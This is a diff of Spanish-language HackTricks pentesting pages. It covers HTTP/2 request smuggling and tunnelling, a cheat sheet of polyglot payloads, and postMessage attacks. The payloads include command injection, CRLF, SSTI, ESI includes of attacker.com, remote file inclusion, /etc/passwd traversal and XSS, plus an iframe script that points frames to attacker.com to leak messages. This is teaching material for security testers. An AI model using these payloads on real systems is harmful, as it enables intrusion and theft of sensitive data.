HTTP/2 en algunos servidores te permite poner un **dos puntos en el nombre del encabezado, y con un** puedes inyectar un nuevo encabezado dentro del nombre del encabezado como esto:
|
||||
|
||||
![](<../../.gitbook/assets/image (632) (1).png>)
|
||||
|
||||
Nota que si pones solo los caracteres de nueva línea enviando un encabezado sin contenido, la solicitud va a ser tratada como **inválida**:
|
||||
|
||||
![](<../../.gitbook/assets/image (647) (1) (1) (1).png>)
|
||||
|
||||
### H2.TE vía Inyección de Línea de Solicitud
|
||||
|
||||
En este caso la inyección se realizó dentro de la línea de solicitud:
|
||||
|
||||
![](<../../.gitbook/assets/image (640) (1).png>)
|
||||
|
||||
### Inyección de Prefijo de URL
|
||||
|
||||
Dentro del esquema de la conexión HTTP/2 podrías ser capaz de enviar una URL completa que sobrescribirá la indicada en el camino:
|
||||
|
||||
![](<../../.gitbook/assets/image (661) (1) (1).png>)
|
||||
|
||||
### Inyección de Línea de Solicitud vía espacios
|
||||
|
||||
![](<../../.gitbook/assets/image (641) (1).png>)
|
||||
|
||||
## Reutilización de conexión frontend->backend
|
||||
|
||||
A veces encontrarás que al realizar un ataque de HTTP Request Smuggling **solo puedes atacarte a ti mismo**. Esto podría ser porque el reverse proxy ha decidido **usar una conexión diferente con el servidor back-end** por IP.
|
||||
|
||||
Nota que **incluso** con esa **restricción** todavía puedes realizar ataques como **bypasses de autorización**, fuga de encabezados internos y ataques de **engaño y envenenamiento de caché**.
|
||||
|
||||
Usualmente esta restricción no existe por lo que puedes **introducir solicitudes en la conexión entre el reverse proxy y el back end** que otras personas están usando, pero es incluso **posible** que el **proxy** no **reutilice una conexión con conexiones de la misma IP** (restricción bastante pesada para este tipo de ataque).
|
||||
|
||||
![](<../../.gitbook/assets/image (646) (1) (1).png>)
|
||||
|
||||
En la restricción más pesada (sin reutilización de conexión) detectarás la vulnerabilidad con la técnica basada en tiempo, pero luego al probarla encontrarás que es un "falso positivo".
|
||||
|
||||
### Confirmación de Túnel
|
||||
|
||||
Una forma de **confirmar** si el **punto final es vulnerable** pero la conexión está **dentro de un "túnel"** es **introducir 2 solicitudes completas** en 1.
|
||||
|
||||
El **problema** con **HTTP/1.1** es que si **recibes 2 respuestas HTTP** no **sabes** si el punto final era **vulnerable** o no lo es y la **solicitud "introducida"** fue solo tratada como una solicitud regular.
|
||||
|
||||
Sin embargo, esta técnica se puede usar **en HTTP/2** porque si el punto final era **vulnerable** y introdujiste una solicitud, verás los **encabezados de la respuesta a la solicitud introducida en la respuesta del reverse proxy**:
|
||||
|
||||
![](<../../.gitbook/assets/image (652) (1) (1) (1).png>)
|
||||
|
||||
### Problema de Visión de Túnel
|
||||
|
||||
Podría haber otro problema, si la **respuesta** a la solicitud legítima **contiene** un **Content-Length**, el **reverse proxy** solo va a **leer los bytes especificados allí y no más, por lo que no podrás leer la respuesta de la solicitud introducida.**
|
||||
|
||||
Sin embargo, la solicitud **HEAD** **no contiene cuerpo** pero usualmente **contiene** el **Content-Length** como si la solicitud fuera un GET. Por lo tanto, enviando una solicitud **HEAD** **en lugar de una POST** puedes **leer los bytes del Content-Length de HEAD** de la respuesta de la solicitud introducida.
|
||||
|
||||
![](<../../.gitbook/assets/image (628) (1) (1).png>)
|
||||
|
||||
### Fuga de Encabezados Internos vía Túnel
|
||||
|
||||
Si encuentras un **parámetro POST** dentro de la aplicación cuyo **contenido** va a ser **reflejado** en la **respuesta**, entonces puedes intentar inyectar caracteres HTTP/1.1 \r\n dentro de un encabezado de solicitud HTTP/2 para que los nuevos encabezados inyectados por el proxy se añadan en el parámetro POST que será reflejado en la respuesta:
|
||||
|
||||
![](<../../.gitbook/assets/image (656) (1) (1).png>)
|
||||
|
||||
Nota que en este caso el **atacante** solo se preocupa por la **respuesta** a la **primera** **solicitud**, no necesita leer la solicitud a la segunda solicitud inválida introducida.
|
||||
|
||||
{% hint style="info" %}
|
||||
Usar este ataque **contra diferentes partes de la web (método, camino...)** puede llevar a que se usen diferentes back-ends y **se filtre diferente información sensible**
|
||||
{% endhint %}
|
||||
|
||||
### Envenenamiento de Caché vía Túnel
|
||||
|
||||
En este escenario se envía una solicitud **HEAD** a la **URL** **cuya** **caché** va a ser **envenenada** mientras se **introduce** una **solicitud** cuyo **contenido de la respuesta contendrá el payload** (quizás algún payload XSS).
|
||||
|
||||
Debido al hecho de que la **respuesta HEAD contiene el `Content-Type: text/html`** y porque el reverse proxy piensa que la **respuesta completa a la solicitud introducida es el cuerpo de la solicitud HEAD**, el **payload XSS** va a ser **tratado como HTML** incluso si la página no era vulnerable a XSS.
|
||||
|
||||
![](<../../.gitbook/assets/image (659) (1).png>)
|
||||
|
||||
## HTTP/2 Oculto
|
||||
|
||||
Normalmente los servidores anuncian el soporte a través del campo ALPN en el handshake TLS, pero algunos no lo hacen.
|
||||
|
||||
Se puede detectar fácilmente usando `curl --http2 --http2-prior-knowledge`
|
||||
|
||||
## Herramientas
|
||||
|
||||
* Extensión de Burp: HTTP Request Smuggler
|
||||
* [https://github.com/neex/http2smugl](https://github.com/neex/http2smugl)
|
||||
|
||||
## Referencias
|
||||
|
||||
* Esta charla explica perfectamente todas las técnicas indicadas aquí: [https://www.youtube.com/watch?v=rHxVVeM9R-M](https://www.youtube.com/watch?v=rHxVVeM9R-M)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,31 +1,30 @@
|
|||
# Técnicas de Reflexión - PoCs y Polygloths CheatSheet
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
El objetivo de estos PoCs y Polygloths es dar al probador un **resumen rápido** de las vulnerabilidades que puede explotar si su **entrada se refleja de alguna manera en la respuesta**.
|
||||
El objetivo de estos PoCs y Polygloths es proporcionar al probador un **resumen** rápido de las vulnerabilidades que podría explotar si su **entrada se refleja de alguna manera en la respuesta**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Esta **hoja de trucos no propone una lista exhaustiva de pruebas para cada vulnerabilidad**, solo algunas básicas. Si buscas pruebas más exhaustivas, accede a cada vulnerabilidad propuesta.
|
||||
Esta **cheatsheet no propone una lista exhaustiva de pruebas para cada vulnerabilidad**, solo algunas básicas. Si buscas pruebas más completas, accede a cada vulnerabilidad propuesta.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Aquí no encontrarás inyecciones dependientes del tipo de contenido como XXE, ya que normalmente las probarás tú mismo si encuentras una solicitud que envía datos xml. Tampoco encontrarás inyecciones de bases de datos aquí, ya que aunque algunos contenidos puedan reflejarse, depende en gran medida de la tecnología y estructura de la base de datos del backend.
|
||||
Aquí **no encontrarás inyecciones dependientes del tipo de contenido como XXE**, ya que normalmente intentarás esas por ti mismo si encuentras una solicitud que envía datos xml. Tampoco encontrarás aquí **inyecciones en bases de datos** ya que, aunque algunos contenidos puedan reflejarse, depende en gran medida de la tecnología y estructura de la base de datos del backend.
|
||||
{% endhint %}
|
||||
|
||||
# Lista de Polygloths
|
||||
## Lista de Polygloths
|
||||
```python
|
||||
{{7*7}}[7*7]
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
|
@ -65,20 +64,20 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
|||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
# [Inyección de plantillas del lado del cliente](../client-side-template-injection-csti.md)
|
||||
## [Inyección de Plantillas en el Lado del Cliente](../client-side-template-injection-csti.md)
|
||||
|
||||
## Pruebas básicas
|
||||
### Pruebas Básicas
|
||||
```
|
||||
{{7*7}}
|
||||
[7*7]
|
||||
```
|
||||
## Políglotas
|
||||
### Políglotas
|
||||
```bash
|
||||
{{7*7}}[7*7]
|
||||
```
|
||||
# [Inyección de Comandos](../command-injection.md)
|
||||
## [Inyección de Comandos](../command-injection.md)
|
||||
|
||||
## Pruebas Básicas
|
||||
### Pruebas Básicas
|
||||
```bash
|
||||
;ls
|
||||
||ls;
|
||||
|
@ -89,29 +88,29 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
|||
`ls`
|
||||
$(ls)
|
||||
```
|
||||
## Políglotas
|
||||
### Políglotas
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
# [CRLF](../crlf-0d-0a.md)
|
||||
## [CRLF](../crlf-0d-0a.md)
|
||||
|
||||
## Pruebas Básicas
|
||||
### Pruebas Básicas
|
||||
```bash
|
||||
%0d%0aLocation:%20http://attacker.com
|
||||
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
```
|
||||
# Markup Colgante
|
||||
## Marcado Pendiente
|
||||
|
||||
## Pruebas Básicas
|
||||
### Pruebas Básicas
|
||||
```markup
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
# [Inclusión de archivos/Travesía de directorios](../inclusion-de-archivos/)
|
||||
## [Inclusión de Archivos/Travesía de Rutas](../file-inclusion/)
|
||||
|
||||
## Pruebas básicas
|
||||
### Pruebas Básicas
|
||||
```bash
|
||||
/etc/passwd
|
||||
../../../../../../etc/hosts
|
||||
|
@ -124,9 +123,9 @@ C:/windows/system32/drivers/etc/hosts
|
|||
http://asdasdasdasd.burpcollab.com/mal.php
|
||||
\\asdasdasdasd.burpcollab.com/mal.php
|
||||
```
|
||||
# [Redirección Abierta](../open-redirect.md) / [Falsificación de Petición en Servidor](../ssrf-server-side-request-forgery/)
|
||||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
|
||||
|
||||
## Pruebas Básicas
|
||||
### Pruebas Básicas
|
||||
```bash
|
||||
www.whitelisted.com
|
||||
www.whitelisted.com.evil.com
|
||||
|
@ -134,34 +133,34 @@ https://google.com
|
|||
//google.com
|
||||
javascript:alert(1)
|
||||
```
|
||||
# [ReDoS](../regular-expression-denial-of-service-redos.md)
|
||||
## [ReDoS](../regular-expression-denial-of-service-redos.md)
|
||||
|
||||
## Pruebas Básicas
|
||||
### Pruebas Básicas
|
||||
```bash
|
||||
(\\w*)+$
|
||||
([a-zA-Z]+)*$
|
||||
((a+)+)+$
|
||||
```
|
||||
# [Inclusión de lado del servidor/Inclusión de lado del borde](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
## [Inclusión del Lado del Servidor/Inclusión del Lado del Edge](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
|
||||
## Pruebas básicas
|
||||
### Pruebas Básicas
|
||||
```markup
|
||||
<!--#echo var="DATE_LOCAL" -->
|
||||
<!--#exec cmd="ls" -->
|
||||
<esi:include src=http://attacker.com/>
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
## Políglotas
|
||||
### Políglotas
|
||||
```markup
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
# [Falsificación de petición en el lado del servidor (SSRF)](../ssrf-server-side-request-forgery/)
|
||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
|
||||
|
||||
Se pueden utilizar las mismas pruebas que se usan para la Redirección Abierta.
|
||||
Las mismas pruebas utilizadas para Open Redirect pueden usarse aquí.
|
||||
|
||||
# [Inyección de plantillas en el lado del servidor (SSTI)](../ssti-server-side-template-injection/)
|
||||
## [Server Side Template Injection](../ssti-server-side-template-injection/)
|
||||
|
||||
## Pruebas básicas
|
||||
### Pruebas Básicas
|
||||
```markup
|
||||
${{<%[%'"}}%\
|
||||
{{7*7}}
|
||||
|
@ -170,30 +169,30 @@ ${7*7}
|
|||
${{7*7}}
|
||||
#{7*7}
|
||||
```
|
||||
## Políglotas
|
||||
### Políglotas
|
||||
```python
|
||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||||
```
|
||||
# [Inyección de código en el lado del servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
||||
## [Inyección Lateral en Servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
|
||||
## Pruebas básicas
|
||||
### Pruebas Básicas
|
||||
```markup
|
||||
<xsl:value-of select="system-property('xsl:version')" />
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
## Políglotas
|
||||
### Políglotas
|
||||
```markup
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
# XSS
|
||||
## XSS
|
||||
|
||||
## Pruebas Básicas
|
||||
### Pruebas Básicas
|
||||
```markup
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
```
|
||||
## Políglotas
|
||||
### Políglotas
|
||||
```markup
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
|
@ -223,16 +222,14 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,13 +4,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -43,26 +45,26 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
|||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||||
```
|
||||
Tenga en cuenta que **targetOrigin** puede ser un '\*' o una URL como _https://company.com._\
|
||||
En el **segundo escenario**, el **mensaje solo se puede enviar a ese dominio** (incluso si el origen del objeto de ventana es diferente).\
|
||||
Si se utiliza el **comodín**, los **mensajes podrían enviarse a cualquier dominio**, y se enviarán al origen del objeto de ventana.
|
||||
En el **segundo escenario**, el **mensaje solo se puede enviar a ese dominio** (incluso si el origen del objeto window es diferente).\
|
||||
Si se utiliza el **comodín**, los **mensajes podrían enviarse a cualquier dominio** y se enviarán al origen del objeto Window.
|
||||
|
||||
### Atacando iframe y comodín en **targetOrigin**
|
||||
### Atacando iframe & comodín en **targetOrigin**
|
||||
|
||||
Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) si encuentra una página que se puede **iframar** (sin protección `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** utilizando un **comodín** (\*), puede **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por usted.\
|
||||
Tenga en cuenta que si la página se puede iframar pero el **targetOrigin** está **configurado en una URL y no en un comodín**, este **truco no funcionará**.
|
||||
Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) si encuentra una página que puede ser **iframed** (sin protección `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** usando un **comodín** (\*), puede **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por usted.\
|
||||
Note que si la página puede ser iframed pero el **targetOrigin** está **establecido en una URL y no en un comodín**, este **truco no funcionará**.
|
||||
```markup
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
<script>
|
||||
setTimeout(exp, 6000); //Wait 6s
|
||||
|
||||
//Try to change the origin of the iframe each 100ms
|
||||
function exp(){
|
||||
setInterval(function(){
|
||||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||||
}, 100);
|
||||
}
|
||||
</script>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
<script>
|
||||
setTimeout(exp, 6000); //Wait 6s
|
||||
|
||||
//Try to change the origin of the iframe each 100ms
|
||||
function exp(){
|
||||
setInterval(function(){
|
||||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||||
}, 100);
|
||||
}
|
||||
</script>
|
||||
```
|
||||
## Explotación de addEventListener
|
||||
|
||||
|
@ -70,125 +72,140 @@ Tenga en cuenta que si la página se puede iframar pero el **targetOrigin** est
|
|||
Se utilizará un código similar al siguiente:
|
||||
```javascript
|
||||
window.addEventListener("message", (event) => {
|
||||
if (event.origin !== "http://example.org:8080")
|
||||
return;
|
||||
if (event.origin !== "http://example.org:8080")
|
||||
return;
|
||||
|
||||
// ...
|
||||
// ...
|
||||
}, false);
|
||||
```
|
||||
Nota en este caso cómo lo **primero** que hace el código es **verificar el origen**. Esto es terriblemente **importante**, principalmente si la página va a hacer **algo sensible** con la información recibida (como cambiar una contraseña). **Si no se verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos puntos finales** y cambiar las contraseñas de las víctimas (en este ejemplo).
|
||||
Tenga en cuenta cómo lo **primero** que hace el código es **verificar el origen**. Esto es tremendamente **importante**, especialmente si la página va a hacer **algo sensible** con la información recibida (como cambiar una contraseña). **Si no verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos puntos finales** y cambiar las contraseñas de las víctimas (en este ejemplo).
|
||||
|
||||
### Enumeración
|
||||
|
||||
Para **encontrar los escuchadores de eventos** en la página actual, puede:
|
||||
Para **encontrar oyentes de eventos** en la página actual, puede:
|
||||
|
||||
* **Buscar** el código JS para `window.addEventListener` y `$(window).on` (versión _JQuery_)
|
||||
* **Buscar** en el código JS `window.addEventListener` y `$(window).on` (_versión JQuery_)
|
||||
* **Ejecutar** en la consola de herramientas para desarrolladores: `getEventListeners(window)`
|
||||
|
||||
![](<../../.gitbook/assets/image (618) (1) (1).png>)
|
||||
|
||||
* **Ir a** _Elementos --> Escuchadores de eventos_ en las herramientas para desarrolladores del navegador
|
||||
* **Ir a** _Elementos --> Oyentes de Eventos_ en las herramientas para desarrolladores del navegador
|
||||
|
||||
![](<../../.gitbook/assets/image (617).png>)
|
||||
|
||||
* Usar una **extensión del navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Esta extensión del navegador **interceptar todos los mensajes** y mostrarlos.
|
||||
* Usar una **extensión de navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Estas extensiones de navegador **interceptarán todos los mensajes** y te los mostrarán.
|
||||
|
||||
### Bypasses básicos de verificación de origen
|
||||
### Bypasses de verificación de origen
|
||||
|
||||
* Si se utiliza **`indexOf()`** para **verificar** el **origen** del evento PostMessage, recuerde que se puede evitar fácilmente como en el siguiente ejemplo: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\
|
||||
* Si se utiliza **`search()`** para **validar** el **origen** podría ser inseguro. Según la documentación de `String.prototype.search()`, el método **toma un objeto de expresión regular** en lugar de una cadena. Si se pasa algo que no sea una expresión regular, se convertirá implícitamente en una expresión regular.\
|
||||
